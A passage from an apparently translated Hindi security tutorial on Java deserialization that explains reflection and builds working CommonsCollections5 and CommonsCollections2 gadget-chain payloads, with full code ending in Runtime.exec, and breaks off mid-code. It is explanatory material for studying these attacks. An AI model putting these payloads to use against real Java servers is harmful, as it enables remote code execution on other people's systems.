
WebLogic CVE-2020-2883 का उपयोग करके Shiro rememberMe deserialization vulnerability का शोषण करता है, एक क्लिक में 蚁剑 filter memory shell पंजीकृत करता है।
इस बार साझा करने में निम्नलिखित बिंदु शामिल हैं:
जावा सीरियलाइज़ेशन से तात्पर्य जावा ऑब्जेक्ट को बाइट अनुक्रम में बदलने की प्रक्रिया से है, ताकि इसे मेमोरी, फ़ाइल या डेटाबेस में आसानी से संग्रहीत किया जा सके। ObjectOutputStream क्लास की writeObject() विधि सीरियलाइज़ेशन को लागू कर सकती है, जो जावा ऑब्जेक्ट को बाइट अनुक्रम में बदल देती है।
जावा डिसीरियलाइज़ेशन से तात्पर्य बाइट अनुक्रम को पुनः जावा ऑब्जेक्ट में बदलने की प्रक्रिया से है। ObjectInputStream क्लास की readObject() विधि डिसीरियलाइज़ेशन के लिए उपयोग की जाती है।
एक सरल उदाहरण लें, कोड SerializeAndDeserialize देखें ps: यहाँ कोड में फ़ोर्स्ड टाइप कास्टिंग पर विशेष ध्यान दें```java
package org.chabug.demo;
import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;
/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */
public class SerializeAndDeserialize {
public static void main(String[] args) throws Exception {
byte[] bytes;
String s1 = "I'm a String Object....";
bytes = Serializables.serializeToBytes(s1);
Object o1 = Serializables.deserializeFromBytes(bytes);
System.out.println(o1);
String[] s2 = new String[]{"tom", "bob", "jack"};
bytes = Serializables.serializeToBytes(s2);
String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
System.out.println(o2);
int i = 123;
bytes = Serializables.serializeToBytes(i);
int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
System.out.println(o3);
// 一只名叫woody的狗
Dog dog = new Dog();
dog.setName("woody");
// tom
Person tom = new Person();
tom.setAge(14);
tom.setName("tom");
tom.setSex("男");
tom.setDog(dog);
bytes = Serializables.serializeToBytes(tom);
Person o = (Person) Serializables.deserializeFromBytes(bytes);
System.out.println(o);
}
}
String、Integer、Array、Object जैसे Java के बिल्ट-इन डेटा प्रकार क्रमबद्ध किए जा सकते हैं। हमारे द्वारा लिखे गए Person और Dog क्लास को Serializable इंटरफ़ेस लागू करने पर क्रमबद्ध और डीक्रमबद्ध किया जा सकता है।
## डीक्रमबद्धीकरण के दौरान कमज़ोरी क्यों उत्पन्न होती है?
एक कोड स्निपेट देखें। अब एक दुर्भावनापूर्ण एंटिटी क्लास EvilClass है।```java
package org.chabug.entity;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilClass implements Serializable {
String name;
public EvilClass() {
System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
}
public EvilClass(String name) {
System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
this.name = name;
}
public String getName() {
System.out.println(this.getClass() + "的getName被调用!!!!!!");
return name;
}
public void setName(String name) {
System.out.println(this.getClass() + "的setName被调用!!!!!!");
this.name = name;
}
@Override
public String toString() {
System.out.println(this.getClass() + "的toString()被调用!!!!!!");
return "EvilClass{" +
"name='" + getName() + '\'' +
'}';
}
private void readObject(ObjectInputStream in) throws Exception {
//执行默认的readObject()方法
in.defaultReadObject();
System.out.println(this.getClass() + "readObject()被调用!!!!!!");
Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
}
}
इसके readObject में कमांड निष्पादित करने वाला कोड है Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), name पैरामीटर निष्पादित होने वाला कमांड है। तो हम एक दुर्भावनापूर्ण ऑब्जेक्ट बना सकते हैं, उसके name प्रॉपर्टी को निष्पादित होने वाले कमांड पर सेट कर सकते हैं, जब डीसीरियलाइज़ेशन readObject को ट्रिगर करेगा तो RCE होगा। इस प्रकार```java
package org.chabug.demo;
import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;
public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

अब हम जानते हैं कि डिसीरियलाइज़ेशन (deserialization) को RCE तक कैसे पहुँचाया जाता है, लेकिन विकास में इसे सीधे इस तरह से नहीं लिखा जाता है, इसलिए इसमें उपयोग श्रृंखला (exploit chain) की खोज शामिल है। डिसीरियलाइज़ेशन भेद्यता के लिए तीन चीजों की आवश्यकता होती है:
1. डिसीरियलाइज़ेशन प्रवेश (source)
2. लक्ष्य विधि (sink)
3. उपयोग श्रृंखला (gadget chain)
ध्यान से ऊपर की छवि में आउटपुट परिणाम को फिर से देखें, न केवल readObject विधि ट्रिगर हुई, बल्कि toString(), बिना पैरामीटर वाला कंस्ट्रक्टर, set, get विधियाँ भी ट्रिगर हुईं, इसलिए वास्तविक उपयोग श्रृंखला की खोज में केवल readObject() विधि पर ध्यान केंद्रित करने की आवश्यकता नहीं है।
फिर अब हमें **प्रतिबिंब (Reflection)** को समझने की आवश्यकता है, ऊपर हमने **अनिवार्य प्रकार रूपांतरण (Forced type conversion)** की समस्या का उल्लेख किया था, वास्तविक विकास में, readObject में तार्किक प्रसंस्करण किया जाता है, जब इनपुट ऑब्जेक्ट के विशिष्ट डेटा प्रकार का पता नहीं होता है तो प्रतिबिंब के माध्यम से निर्णय लिया जाता है, और प्रतिबिंब ही हमारा RCE तक पहुँचने का महत्वपूर्ण साधन है।
## Java प्रतिबिंब (Reflection)
प्रतिबिंब क्या है? "प्रतिबिंब" में एक "प्रति" शब्द है, तो प्रतिबिंब को समझाने के लिए "सीधे प्रतिबिंब" (direct reflection) से शुरू करना होता है, कोड देखें। यह मेरी एंटिटी क्लास है।```java
package org.chabug.entity;
import java.io.IOException;
public class ReflectionClass {
String name;
public ReflectionClass(String name) {
this.name = name;
}
public ReflectionClass() {
}
public String say() {
return this.name;
}
private void evil(String cmd) {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String toString() {
return "ReflectionClass{" +
"name='" + name + '\'' +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
सामान्य लेखन```java package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }
सीधे शब्दों में, new के ज़रिए एक ReflectionClass इंस्टेंस बनाया जाता है, फिर उस इंस्टेंस के ज़रिए उसकी संबंधित विधि को कॉल किया जाता है, इसे "प्रत्यक्ष प्रतिबिंब" कहते हैं। लेकिन जब आप new का उपयोग कर रहे हों और क्लास का नाम नहीं जानते हों तो क्या करें? private द्वारा संरक्षित विधि को कैसे कॉल करें? प्रतिबिंब की भूमिका यहाँ स्पष्ट होती है। नीचे दिए गए कोड को देखें।```java
package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
import java.lang.reflect.Method;
public class ReflectionDemo {
public static void main(String[] args) throws Exception {
// new
Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
Object o = aClass.newInstance();
// setName("jack")
Method setName = aClass.getDeclaredMethod("setName",String.class);
setName.invoke(o, "jack");
// say()
Method say = aClass.getDeclaredMethod("say",null);
Object o1 = say.invoke(o, null);
System.out.println(o1);
// evil("calc")
// 反射可以修改方法的修饰符来调用private方法
Method evil = aClass.getDeclaredMethod("evil", String.class);
evil.setAccessible(true);
evil.invoke(o,"calc");
}
}
वर्ग का नाम पहले से जानने की आवश्यकता नहीं है, org.chabug.entity.ReflectionClass वर्ग का उपयोग करके थोड़ा संशोधित करके पैरामीटर के रूप में पास किया जा सकता है, और setAccessible के माध्यम से private संरक्षित विधियों या फ़ील्ड तक पहुँचा जा सकता है।
अब हम कमज़ोरी से शुरुआत करते हैं, डिसीरियलाइज़ेशन में रिफ्लेक्शन की भूमिका और डिसीरियलाइज़ेशन कॉल चेन की खोज को गहराई से समझते हैं।
ysoserial एक Java डिसीरियलाइज़ेशन exp उत्पन्न करने का उपकरण है, जिसमें कुछ पहले से मौजूद exp शामिल हैं, जैसे CommonsCollections की कई शोषण श्रृंखलाएँ। इस बार CC2 और CC5 इन दो श्रृंखलाओं का विश्लेषण किया जाएगा। इन दोनों का विश्लेषण करने का कारण यह है कि CC2 में बाइटकोड को परिभाषित करने का ऑपरेशन उपयोग किया गया है, और CC5 में रिफ्लेक्शन और श्रृंखला कॉल की समझ को गहरा करने के लिए।
पहले CC5 श्रृंखला को देखते हैं जो समझने में अधिक सुविधाजनक है।
कमज़ोरी org.apache.commons.collections.functors.InvokerTransformer#transform में दिखाई देती है।```java
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
कोड की तुलना reflection अध्याय से करने पर यह स्पष्ट है कि यह reflection का उपयोग है; इसे direct call के कोड द्वारा समझाने पर यह होगा:```java
input.iMethodName(iArgs);
this.iMethodName, this.iParamTypes, और this.iArgs सभी कंस्ट्रक्टर में नियंत्रणीय हैं। इस प्रकार, input ऑब्जेक्ट की किसी भी विधि को कॉल किया जा सकता है, कोई भी पैरामीटर पास करके।```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
इस प्रकार पहले एक कमांड निष्पादित करने का कोड```java
package org.chabug.demo;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
चूंकि Runtime वर्ग सिंगलटन पैटर्न के अनुसार है, इसलिए getRuntime() के माध्यम से Runtime रनटाइम ऑब्जेक्ट प्राप्त करना आवश्यक है, और transform() में भेजने के बाद कैलकुलेटर खुल जाता है।

लेकिन हम जानते हैं कि डीसीरियलाइज़ेशन के दौरान केवल readObject() स्वचालित रूप से निष्पादित होता है। यदि इस समय सीधे InvokerTransformer ऑब्जेक्ट बनाया जाता है, तो भी दो समस्याओं का समाधान करना होगा
पहले पहली समस्या का समाधान करें, org.apache.commons.collections.functors.ChainedTransformer#transform में चेन्ड कॉल्स कार्यान्वित की जा सकती हैं```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
this.iTransformers की परिभाषा Transformer सारणी है```java
private final Transformer[] iTransformers;
Transformer एक इंटरफ़ेस है, और InvokerTransformer भी इस इंटरफ़ेस को लागू करता है।

Java में अंतर्निहित प्रकार रूपांतरण के सिद्धांत के अनुसार, हम एक Transformer सरणी को परिभाषित कर सकते हैं, जिसमें कई InvokerTransformer रखे जा सकते हैं ताकि बार-बार रिफ्लेक्शन कॉल प्राप्त की जा सकें और Runtime.getRuntime().exec() तक पहुंचा जा सके।```java package org.chabug.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }
इसकी खास बात यह है कि ConstantTransformer वर्ग के कंस्ट्रक्टर के माध्यम से Runtime.class पास किया गया, जिससे हमें स्वयं Runtime पास करने की आवश्यकता नहीं रही।
अब दूसरी समस्या को हल करने की आवश्यकता है: transform() को स्वचालित रूप से कैसे ट्रिगर किया जाए। सभी जानते हैं कि readObject() डीसीरियलाइज़ेशन के दौरान निष्पादित होता है, तो उस वर्ग के readObject() में प्रत्यक्ष या अप्रत्यक्ष रूप से transform() को कॉल किया गया है?
org.apache.commons.collections.map.LazyMap#get में transform() को कॉल किया गया है।```java
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
इस वर्ग की निर्माण विधि और factory फ़ील्ड देखें```java protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
factory फ़ील्ड final और protected मॉडिफ़ायर के साथ है, लेकिन इसमें एक public विधि decorate() है जो इस क्लास का ऑब्जेक्ट बनाती है, तो हम निम्नलिखित का निर्माण कर सकते हैं```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test"); //执行这个就会弹出计算器 map.get() > transform()
अब यह खोज रहे हैं कि map की get() विधि कहाँ बुलाई गई है org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
getValue() बिल्कुल map.get() को कॉल करता है, और हम this.key को भी नियंत्रित कर सकते हैं। और toString() this.getValue() को कॉल करता है। अब आगे निर्माण जारी रखें।```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString(); // toString > getValue() > map.get()
तो अब समस्या यह है कि readObject स्वचालित रूप से toString() को कैसे ट्रिगर करे, यह सरल है, JDK आंतरिक वर्ग में एक BadAttributeValueExpException अपवाद वर्ग है, जिसका readObject() toString() को निष्पादित करेगा।```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
क्योंकि System.getSecurityManager() डिफ़ॉल्ट रूप से null है, इसलिए val = valObj.toString() ट्रिगर होता है, TiedMapEntry.toString() में प्रवेश करता है, अंतिम payload```java
package org.chabug.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
// chain.transform(null);
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("asd");
TiedMapEntry key = new TiedMapEntry(map, "key");
// key.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, key);
byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(bytes);
}
}

ध्यान देने योग्य बात यह है कि BadAttributeValueExpException ऑब्जेक्ट को घोषित करते समय, entry पैरामीटर सीधे पास नहीं किया जाता, बल्कि रिफ्लेक्शन का उपयोग करके मान निर्धारित किया जाता है। क्योंकि BadAttributeValueExpException का कंस्ट्रक्टर यह जाँचता है कि मान शून्य है या नहीं, यदि शून्य नहीं है तो सीरियलाइज़ेशन के दौरान toString() निष्पादित होगा। इसलिए डीसीरियलाइज़ेशन के समय, चूँकि entry पहले से ही एक स्ट्रिंग है, toString विधि ट्रिगर नहीं होगी।
सारांश: रिफ्लेक्शन और चेन कॉल का लचीलेपन से उपयोग करें, फिर gadget ढूँढकर सफलतापूर्वक RCE प्राप्त करें।```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
### CommonsCollections2
CC2 का परिचय देने से पहले, सबसे पहले Java बाइटकोड को समझना आवश्यक है। Java में सभी Java कोड को class बाइटकोड फ़ाइलों में संकलित किया जाना चाहिए ताकि उन्हें jvm द्वारा निष्पादित किया जा सके। बाइटकोड एक असेंबली भाषा की तरह अधिक है, इसकी पठनीयता बहुत खराब है, लेकिन फिर भी कई उत्कृष्ट लाइब्रेरीज़ हैं जो बाइटकोड को संचालित, संशोधित और संपादित करके प्रोग्रामिंग करने के लिए हैं, जैसे asm, cglib और javassist। ysoserial टूल में उपयोग की जाने वाली लाइब्रेरी javassist है। पहले देखते हैं कि ysoserial में cc2 का payload कैसे लिखा जाता है।```java
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
पहली पंक्ति में पहले देखें Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
`org.apache.xalan.xsltc.trax.TemplatesImpl` इस वर्ग का उल्लेख किया गया है, तो पहले दो पंक्तियों का कोड देखना होगा।```java
package org.chabug.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.newTransformer();
}
}

कैलकुलेटर क्यों पॉप अप हुआ? गहराई से समझें createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
ऊपर दिए गए कोड ने निम्नलिखित कार्य किए हैं:
1. `org.apache.xalan.xsltc.trax.TemplatesImpl` ऑब्जेक्ट templates को इंस्टैंशिएट किया गया, इस ऑब्जेक्ट का `_bytecodes` बाइटकोड संग्रहीत कर सकता है
2. स्वयं एक `StubTransletPayload` क्लास लिखा गया जो `AbstractTranslet` से इनहेरिट करता है और `Serializable` इंटरफ़ेस को लागू करता है
3. `StubTransletPayload` का बाइटकोड प्राप्त किया गया और javassist का उपयोग करके `templates` बाइटकोड (Runtime.exec कमांड निष्पादन) में डाला गया
4. रिफ्लेक्शन द्वारा `templates` के `_bytecodes` को कमांड निष्पादन युक्त बाइटकोड पर सेट किया गया
वास्तव में, यह एक `org.apache.xalan.xsltc.trax.TemplatesImpl` उपवर्ग को लागू करता है, और फिर उसके `_bytecodes` फ़ील्ड में अपना दुर्भावनापूर्ण बाइटकोड डालता है। newTransformer() देखें।```java
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
会执行getTransletInstance(),跟进```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
यह पंक्ति बाइटकोड द्वारा परिभाषित क्लास से एक इंस्टेंस बनाने (new) के लिए होती है, और बाइटकोड द्वारा परिभाषित क्लास के static ब्लॉक में Runtime.exec लिखा होता है, जिसके कारण RCE होता है।```java
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
तो readObject में template.newTransformer() को कॉल करने वाला एक वर्ग खोजें। यानी payload में PriorityQueue
PriorityQueue एक प्राथमिकता-आधारित असीमित प्राथमिकता कतार है। प्राथमिकता कतार के तत्वों को उनके प्राकृतिक क्रम के अनुसार क्रमबद्ध किया जाता है, या कतार के निर्माण के समय प्रदान किए गए Comparator के अनुसार, उपयोग किए गए निर्माण विधि पर निर्भर करता है।
इसके readObject() को देखें।```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
चूंकि यह एक प्राथमिकता कतार है, तो इसमें छँटाई अनिवार्य है। heapify() में```java
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x); // 如果指定比较器就使用
else
siftDownComparable(k, x); // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
comparator एक तुलनाकर्ता है, जब comparator निर्दिष्ट किया जाता है तो comparator.compare((E) c, (E) queue[right]) में प्रवेश किया जाता है। comparator Comparator इंटरफ़ेस का ऑब्जेक्ट है।```java
private final Comparator<? super E> comparator;
इसकी वंशावली देखने पर पता चलता है कि CC पैकेज में TransformingComparator क्लास Comparator इंटरफ़ेस को लागू करता है

TransformingComparator का compare() मेथड```java
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
अरे, यह तो पहले का transform किसी भी विधि का रिफ्लेक्शन कॉल है न! this.transformer में InvokerTransformer क्लास है, पहले के newTransformer() को रिफ्लेक्शन कॉल करते ही सीधे RCE हो जाता है। payload बनाएं।```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
यहाँ एक संदिग्ध बात है `new InvokerTransformer("toString", new Class[0], new Object[0])` में, कि पहले toString का उपयोग क्यों किया जाता है और फिर रिफ्लेक्शन द्वारा इसे newTransformer में बदला जाता है? क्योंकि यदि सीधे newTransformer का उपयोग किया जाए तो सीरियलाइज़ेशन के दौरान त्रुटि आती है `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, इसलिए ysoserial ने पहले toString का उपयोग करके स्ट्रिंग को संख्या 1 से तुलना करने के लिए परिवर्तित किया, फिर रिफ्लेक्शन द्वारा बदल दिया, यह बहुत चतुराईपूर्ण है।
सारांश:```java
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
CC2 RCE प्राप्त करने के लिए TemplatesImpl वर्ग का उपयोग करता है, जो दुर्भावनापूर्ण बाइटकोड आरंभीकरण के रूप में होता है; CC5 श्रृंखलित कॉल के माध्यम से एक-एक करके परावर्तन (reflection) का उपयोग करके RCE प्राप्त करता है। लेकिन मूलतः यह अभी भी परावर्तन ही है। दोनों श्रृंखलाओं को थोड़ा बदलकर एक और व्युत्पन्न श्रृंखला बनाई जा सकती है।```java package org.chabug.demo;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field; import java.util.PriorityQueue;
